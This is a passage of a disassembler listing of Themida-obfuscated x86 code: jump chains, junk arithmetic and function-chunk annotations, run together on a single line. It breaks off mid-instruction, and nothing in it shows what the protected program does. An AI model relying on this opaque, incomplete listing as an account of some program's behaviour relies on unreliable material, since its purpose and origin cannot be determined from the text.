sub_58B4D6 loc_591970: ; CODE XREF: sub_58B4D6+B66Ej xor ebx, esi push esi not [esp+0Ch+var_C] pop esi xchg esi, ebx add ebx, 83E9DBE6h jmp loc_593969 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_591984: ; CODE XREF: sub_58E3A6+47DCj add edx, ecx jmp loc_596481 ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58B917 ; --------------------------------------------------------------------------- loc_591993: ; CODE XREF: Themida_:00594647j pop ebx push small 5F24h mov [esp], bx push edx push ecx mov cl, 3Ch not cl or cl, 52h sub cl, 7Ah jmp loc_58AD05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5919AD: ; CODE XREF: sub_58F5B5+4904j mov ebx, 485921D3h add ebx, 0C6A2FA8h jmp loc_58F704 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5919BD: ; CODE XREF: sub_590010+27A3j or eax, 73A34616h add eax, 270368AAh jmp loc_58C2D8 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5919CC: ; CODE XREF: sub_58C17E-CB5j ; sub_595E21-914Aj sub eax, 4 xchg eax, [esp+2+var_4+2] pop esp jmp loc_58AC8B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5919DA: ; CODE XREF: sub_5916C4+C72j neg ebp push edi jmp loc_595716 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; =============== S U B R O U T I N E ======================================= sub_5919E2 proc near ; CODE XREF: sub_590E26+20D1j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058A4AE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058AF7B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B4FB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058B5C2 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0058CBD1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D36C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058D4D4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058D6E8 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058DB6C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058E794 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058EF1B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F1B9 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00590005 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005902BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590373 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00590B96 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059348F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005946E3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00594E8C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00595564 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00595CF3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059615A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005973F1 SIZE 00000030 BYTES push ebx add dword ptr [esp+0], 4B830C37h pop esi push edx push edi mov edi, 13BC364Eh jmp loc_58B5C2 sub_5919E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5919F7: ; CODE XREF: Themida_:0058E91Ej push edi mov edi, 0AF314A0h add edi, 61AA7A20h add edi, 0A4DD7249h sub esi, edi mov edi, [esp] add esp, 4 jmp loc_590F87 ; --------------------------------------------------------------------------- loc_591A19: ; CODE XREF: Themida_:0058F31Bj mov dl, al pop eax xor ah, dl pop edx and bl, ah push dword ptr [esp] pop eax add esp, 4 push edx push ebx mov bl, 5Fh mov dl, 0D3h sub dl, bl pop ebx jmp loc_5961DF ; --------------------------------------------------------------------------- loc_591A36: ; CODE XREF: Themida_:0058C3B7j sub eax, edx jmp loc_5973A9 ; --------------------------------------------------------------------------- loc_591A3D: ; CODE XREF: Themida_:005933F8j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push edi mov edi, 78E6526Bh add edi, 2E7D7FA0h sub edi, 9F9257BDh push ebp push ecx mov ecx, edi mov ebp, ecx pop ecx push ebp push ebp mov ebp, 384A3494h jmp loc_58B80D ; --------------------------------------------------------------------------- loc_591A72: ; CODE XREF: Themida_:0058C541j sub ecx, 7BE117A2h neg ecx sub ecx, 17E1A876h push ecx add dword ptr [esp], 55A96E03h mov ebp, [esp] add esp, 4 push eax mov eax, 55A96E03h jmp loc_58F179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591A9C: ; CODE XREF: sub_5916C4+1333j pop edx pop edi mov edx, [esp+0] add esp, 4 jmp sub_58F091 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591AAC: ; CODE XREF: sub_590467+570Aj pop esp push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx jmp loc_58AE9C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_591AC2: ; CODE XREF: Themida_:0058A95Aj ; sub_595E21-7D4j neg ecx jnz loc_58FD90 jmp loc_5934B9 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- xchg ecx, [esp] pop esp add esp, 4 mov bh, dl push ecx loc_591AD9: ; CODE XREF: Themida_:0059458Ej sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edi mov edi, 1A730D6Ah jmp loc_590285 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_591AF7: ; CODE XREF: sub_592857+7j push ecx push 55BB4B17h jmp loc_596C75 ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591B02: ; CODE XREF: sub_590467+73B1j pop ecx inc eax and eax, 33685107h shl eax, 1 push ebx mov ebx, 1FF398Dh jmp loc_59788D ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_591B16: ; CODE XREF: Themida_:00595E6Bj mov cx, dx jmp loc_590AD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_591B1E: ; CODE XREF: sub_590010+4CE2j add esp, 4 sub esp, 4 mov [esp+8+var_8], esi push 0C70CDF98h pop esi jmp loc_58CADA ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_591B35: ; CODE XREF: Themida_:0058B123j push edx mov edx, esp jmp loc_58CE33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_591B3D: ; CODE XREF: sub_5938B9-8358j ; sub_59762D-2093j dec edx jmp loc_58F6A0 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594FD6 loc_591B43: ; CODE XREF: sub_594FD6+209Bj push eax mov ah, ch mov dh, ah jmp loc_58B154 ; END OF FUNCTION CHUNK FOR sub_594FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D236 loc_591B4D: ; CODE XREF: sub_58D236+46F2j sub ebx, 36D208D2h mov ebp, ebx pop ebx jmp loc_593B4E ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_591B5B: ; CODE XREF: sub_58F5B5+6CCBj add ebp, 586A181Ah add ebp, 1BA2E540h add eax, ebp pop ebp pop esi jmp loc_59518A ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_591B70: ; CODE XREF: Themida_:0058C858j add edi, 4 xchg edi, [esp] jmp loc_58C85D ; --------------------------------------------------------------------------- loc_591B7B: ; CODE XREF: Themida_:00590604j pop edi add edi, 480C5E91h add edi, 0B5315109h mov ebx, edi jmp loc_58D835 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_591B8F: ; CODE XREF: sub_595258-728Dj ; Themida_:0058E39Aj add esp, 4 jmp loc_591E6E ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_591B9A: ; CODE XREF: sub_590B70-5656j pop eax jmp loc_594971 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591BA0: ; CODE XREF: sub_590467+608Aj mov [esp+0], ecx sub esp, 4 mov [esp+6+var_6], edx mov dl, 8 jmp loc_595C9B ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_591BB3: ; CODE XREF: Themida_:00592014j pop ecx add ebx, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_58C397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591BD6: ; CODE XREF: sub_58C17E+7500j push esi mov esi, 0EF9E425Ah mov edi, esi mov esi, [esp+2+var_4+2] jmp loc_58FA36 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_591BE6: ; CODE XREF: Themida_:0059742Cj add esi, 4 add esi, 4 jmp loc_58B2A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591BF4: ; CODE XREF: sub_58C17E+74E0j ; sub_58D236+A513j push edi mov edi, 2 add ecx, 69122792h add ecx, 752922A3h add ecx, edi jmp loc_58F1ED ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_591C0D: ; CODE XREF: Themida_:0058E1C8j add esi, 0F2886CF2h push esi push edi mov edi, 17022448h jmp loc_58ECAF ; --------------------------------------------------------------------------- loc_591C1F: ; CODE XREF: Themida_:00597ABCj pop eax push ebx mov ebx, 23B32D4Eh not ebx add ebx, 23B32D51h add esi, 30857100h add esi, ebx push eax push ecx push 61247D12h pop ecx jmp loc_58DE00 ; --------------------------------------------------------------------------- loc_591C43: ; CODE XREF: Themida_:005911FDj js loc_5977F2 sub esi, 5875546Eh add esi, 4C5D6ABAh xor esi, 0A0C09E4h mov edi, esi pop esi xor eax, edi pop edi or edi, eax mov eax, [esp] add esp, 4 shr edi, 7 or edi, 256E492Bh sub edi, 0ECEABED8h add eax, edi jmp loc_596759 ; --------------------------------------------------------------------------- loc_591C7F: ; CODE XREF: Themida_:0058A3B4j mov ecx, esp sub esp, 4 mov [esp], ebp jmp loc_594A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_591C8F: ; CODE XREF: sub_595123-DCj xchg edx, [esp+0Ch+var_C] jmp loc_58EA29 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_591C97: ; CODE XREF: Themida_:0058EE21j push ebx push eax jmp loc_5967F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_591C9E: ; CODE XREF: sub_5EC2E8-58412j add ebx, 0E0C6333h pop edi push eax mov eax, 7E744D80h sub eax, 0C2A0628h neg eax neg eax inc eax sub eax, 6FA30578h sub eax, 0EE4005F2h add ebx, eax pop eax push dword ptr [eax] jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591CC9: ; CODE XREF: sub_5916C4-316j mov ebx, 53D67ECFh not ebx or ebx, 5C2625D5h jmp loc_58B27B ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591CDB: ; CODE XREF: sub_590467+5AE8j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591CE7: ; CODE XREF: sub_58C17E+74B3j add eax, edx jmp loc_58BC67 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591CEE: ; CODE XREF: sub_5916C4-51BFj jnb loc_593D62 shr esi, 5 jmp loc_58DA99 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- push ecx mov ebx, edi loc_591CFF: ; CODE XREF: Themida_:0058F048j mov ebx, 49E9299Ah not ebx jmp loc_59467C ; =============== S U B R O U T I N E ======================================= sub_591D0B proc near ; CODE XREF: sub_5916C4+3450j var_2 = word ptr -2 push ebx mov ebx, 43781F68h xor eax, ebx pop ebx movzx ax, byte ptr [eax] push small 62D8h mov [esp+2+var_2], ax jmp loc_58A2CE sub_591D0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_591D25: ; CODE XREF: sub_595E21-38E6j mov [esp+0], ebp xchg ebp, [esp+0] jmp loc_5923A5 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_591D30: ; CODE XREF: sub_592D25-8834j inc esi dec esi add esi, 13442878h add esi, 0E35A7AB1h xor edx, esi mov esi, [esp+0] add esp, 4 and eax, edx pop edx jmp loc_5937B2 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_594784 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591D61: ; CODE XREF: sub_58C17E-18CAj mov ah, 6Eh mov dl, 0A5h push ax mov al, 53h add dl, al pop ax sub dl, ah push ecx mov cl, 4Dh jmp loc_590BC8 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_591D77: ; CODE XREF: Themida_:00590872j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp test ecx, eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591D8C: ; CODE XREF: Themida_:005948FEj xor ecx, 0A7F3C3D2h sub ebx, ecx pop ecx push ecx mov ecx, 1C171621h inc ecx shl ecx, 6 sub ecx, 35DB3C92h dec ecx jmp loc_591711 ; --------------------------------------------------------------------------- loc_591DAB: ; CODE XREF: Themida_:00595BC5j dec ebp jo loc_58EF07 xor ebp, 0C8391E51h mov ecx, ebp pop ebp and ecx, 34DF6AD7h jnz loc_58DB26 xor ecx, 1FA82FFAh add ecx, 1 jmp loc_58CDF5 ; --------------------------------------------------------------------------- loc_591DD5: ; CODE XREF: Themida_:loc_58F0AAj dec dh jo loc_597769 xor dh, 0DEh jmp loc_593320 ; --------------------------------------------------------------------------- loc_591DE5: ; CODE XREF: Themida_:0058B67Fj xor ecx, esi jmp loc_58F6E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591DEC: ; CODE XREF: sub_58C17E+2B9Bj mov esi, 40314BC9h jmp loc_58F5C5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591DF6: ; CODE XREF: sub_5916C4-2986j sub [esp+arg_4], ebp pop ebp pop ecx mov eax, [esp-8+arg_4] add esp, 4 push ebp jmp loc_592A82 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_591E0B: ; CODE XREF: Themida_:0058E1B0j dec esi jl loc_58DDE8 xor esi, 0D066F37h jp loc_58BC2F shr esi, 1 push esp loc_591E21: ; CODE XREF: Themida_:0058DE5Aj push ebp jmp loc_593838 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591E27: ; CODE XREF: sub_58C17E-1132j push esi mov esi, 1AD74E82h add esi, 51EA1558h add esi, 0A111F2FCh not esi jmp loc_58EE3B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_591E40: ; CODE XREF: Themida_:0058C4D8j or ebx, 1CB7621Eh jge loc_59354C push edx push 0E9159F2h mov edx, [esp] jmp loc_597F33 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591E69: ; CODE XREF: Themida_:005962F2j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_591E6E: ; CODE XREF: sub_595258-36C3j add esp, 4 shl ebp, 6 shl ebp, 7 or ebp, 682E6ACDh sub ebp, 0FE68AA1Ah xor esi, ebp mov ebp, [esp+4+var_4] push edi jmp loc_58B596 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_591E91: ; CODE XREF: Themida_:0058B929j ; Themida_:00594BBEj and esi, 14E83EF4h shl esi, 8 sub esi, 1D327C24h xor esi, 4B0027D8h jmp loc_58B7A0 ; --------------------------------------------------------------------------- loc_591EAB: ; CODE XREF: Themida_:00596FCBj add [esp+4], esi pop esi jmp loc_596F80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591EB5: ; CODE XREF: sub_590467-3214j mov edi, edx pop edx add ebx, edi jmp loc_58FCB2 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_591EBF: ; CODE XREF: Themida_:0058D734j jz loc_58FDA1 or ebx, 3D764727h jp loc_595857 sub ebx, 0CF1CFB3Ah mov dh, al mov eax, edx ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_591EDB: ; CODE XREF: sub_5938B9-11A2j pop edi add esp, 4 jmp sub_594131 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_591EE7: ; CODE XREF: Themida_:00595D0Fj pop ebx xor eax, edx push dword ptr [esp] pop edx jmp loc_58E7CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_591EF3: ; CODE XREF: sub_5938B9+10F1j push small 3638h jmp loc_58A890 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_591EFC: ; CODE XREF: Themida_:00596D49j push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] pop esp jmp loc_595C18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_591F17: ; CODE XREF: sub_58F5B5-3043j add esp, 4 xchg ecx, [esp-0Ch+arg_8] jmp loc_58AF1A ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_591F22: ; CODE XREF: Themida_:00596D23j add dword ptr [esp], 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591F2B: ; CODE XREF: Themida_:00597AD0j mov esi, [esp] push esi jmp loc_5970BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591F34: ; CODE XREF: sub_58C17E+266Dj btr [esp+0], ax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_591F3F: ; CODE XREF: Themida_:0058C5B0j pop ebx jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591F45: ; CODE XREF: sub_5916C4-48D4j mov ecx, 57BE5F7Bh sub ebx, ecx pop ecx jmp loc_592DDC ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_591F52: ; CODE XREF: Themida_:0058F3E7j ; Themida_:005936A1j mov esi, 144E51C9h add edx, esi pop esi add edx, 672B404Bh jmp loc_58D3C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591F65: ; CODE XREF: sub_590467+5847j add esp, 4 push ecx jmp loc_595CDB ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_591F71: ; CODE XREF: sub_58B4D6+3AAEj pop ebx xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] mul cx jmp loc_58AD5E ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_591F80: ; CODE XREF: sub_5EC2E8-5CD9Fj push edx push esp pop edx push 9DBh mov [esp+44h+var_44], ecx jmp loc_58DDC1 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_591F90: ; CODE XREF: Themida_:00594106j shl edx, 5 xor edx, 0BBE5FBE4h add edi, edx pop edx add edi, 2 push 0A8Fh mov [esp], edi push dword ptr [esp+4] jmp loc_5953B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_591FB3: ; CODE XREF: sub_5938B9+164Cj inc ecx jge loc_597AD5 and ecx, 2193139h ja loc_592140 jmp loc_5906B4 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- jmp loc_58B87E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591FD0: ; CODE XREF: sub_58C17E+5EBEj shl ecx, 6 js loc_58AD53 sub ecx, 0BB2A04F5h jmp loc_58D05B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- push eax mov ah, al push esp loc_591FE8: ; CODE XREF: Themida_:0058DA59j mov edx, 4 sub ebp, edx pop edx jmp loc_58B531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_591FF5: ; CODE XREF: sub_594654-7047j neg ecx push ebp jmp loc_59710A ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591FFD: ; CODE XREF: sub_58C17E+3639j xor [esp+0], ebx xor ebx, [esp+0] pop esp jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_592009: ; CODE XREF: Themida_:005966A3j xor ecx, ebx pop ebx sub ecx, 0E2CCE789h xor eax, ecx jmp loc_591BB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592019: ; CODE XREF: sub_5916C4-5639j add esp, 4 push ecx jmp loc_594B5E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_592022: ; CODE XREF: Themida_:005913C2j sub ebp, 4F66FD4h jmp loc_596252 ; --------------------------------------------------------------------------- loc_59202D: ; CODE XREF: Themida_:00594762j pop edi jmp loc_58E9B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592033: ; CODE XREF: sub_58C17E-C90j add edi, eax push eax jmp loc_58CEC2 ; --------------------------------------------------------------------------- loc_59203B: ; CODE XREF: sub_58C17E:loc_58B095j inc ecx jg loc_591FD0 shl ecx, 6 js loc_58E019 sub ecx, 0BB2A04F5h push ecx add [esp+8+var_8], 6DD019Bh loc_592059: ; CODE XREF: Themida_:00593EFBj mov esi, [esp+8+var_8] add esp, 4 shr esi, 2 jmp loc_58B046 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_592067: ; CODE XREF: Themida_:0058FB1Ej pop esi sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_590961 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592085: ; CODE XREF: sub_590467+5D3Fj not dh not dh shr dh, 6 jmp loc_58D852 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592091: ; CODE XREF: sub_58C17E+3E07j add ecx, 4 xchg ecx, [esp+2+var_4+2] pop esp pop ecx jmp loc_594936 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push ebp push 0DB1h jmp loc_58C533 ; --------------------------------------------------------------------------- loc_5920BB: ; CODE XREF: Themida_:0058CFECj add esp, 4 jmp loc_5905E8 ; --------------------------------------------------------------------------- loc_5920C3: ; CODE XREF: Themida_:0058BD06j xor ebp, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_5920D4: ; CODE XREF: sub_59524C+282Fj add eax, 4 push esi push ecx jmp loc_58BF07 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_5920E0: ; CODE XREF: Themida_:0058D8B2j add esp, 4 bt [esp], eax pushf jmp loc_5934B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5920F0: ; CODE XREF: sub_58C17E+7997j add esi, 4 jmp loc_58CCFB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5953EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592107: ; CODE XREF: sub_590467-40CFj add ebx, 4 push ebx push [esp-4+arg_4] jmp loc_58F2A6 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_592114: ; CODE XREF: Themida_:0058BC62j pop ebx pop dword ptr [esp] mov esp, [esp] add esp, 4 xor [esp], eax pushf jmp loc_58F320 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592127: ; CODE XREF: sub_590467-23F5j or eax, eax jnz sub_592857 push ebp push esp mov ebp, [esp+0Ah+var_A] jmp loc_58A8E2 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_592139: ; CODE XREF: sub_595123+966j and eax, ecx jmp loc_58D497 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_592140: ; CODE XREF: sub_5938B9-18F9j jmp loc_592420 ; --------------------------------------------------------------------------- loc_592145: ; CODE XREF: sub_5938B9-32BEj add edi, 4 jmp loc_5938BF ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592150: ; CODE XREF: sub_590467-50F7j ; sub_5916C4+2141j push ecx push eax push 58770C6h jmp loc_5957F7 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_59215C: ; CODE XREF: sub_5EC2E8-58E15j pop ebx and eax, ecx mov ecx, [esp+40h+var_40] add esp, 4 jmp loc_58BBFA ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59216A: ; CODE XREF: sub_58C17E+A63Fj mov ecx, 5C923D83h shl ecx, 6 not ecx xor ecx, 3BE83E8Fh dec ecx add ecx, 584484A1h or eax, ecx pop ecx add eax, 0FA189E8Dh add ebp, eax pop eax add eax, ebp pop ebp jmp loc_58A4BD ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_592194: ; CODE XREF: Themida_:0058D6C0j add dword ptr [esp], 4 jmp loc_58DFF5 ; --------------------------------------------------------------------------- loc_5921A0: ; CODE XREF: Themida_:00592C7Fj pop esp jmp loc_594910 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5921A6: ; CODE XREF: sub_58C17E+86AFj xor edi, 7B9C1521h jmp loc_59774E ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5921B1: ; CODE XREF: Themida_:0058F1ACj pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi mov esi, [esp] add esp, 4 push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_58ED6E ; =============== S U B R O U T I N E ======================================= sub_5921D8 proc near ; CODE XREF: sub_5916C4+48j ; sub_58F5B5+8759j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058B249 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0058B62C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058D52E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00593152 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005936E4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593A52 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00593C25 SIZE 00000013 BYTES push ebx push 36CCh mov [esp+8+var_8], 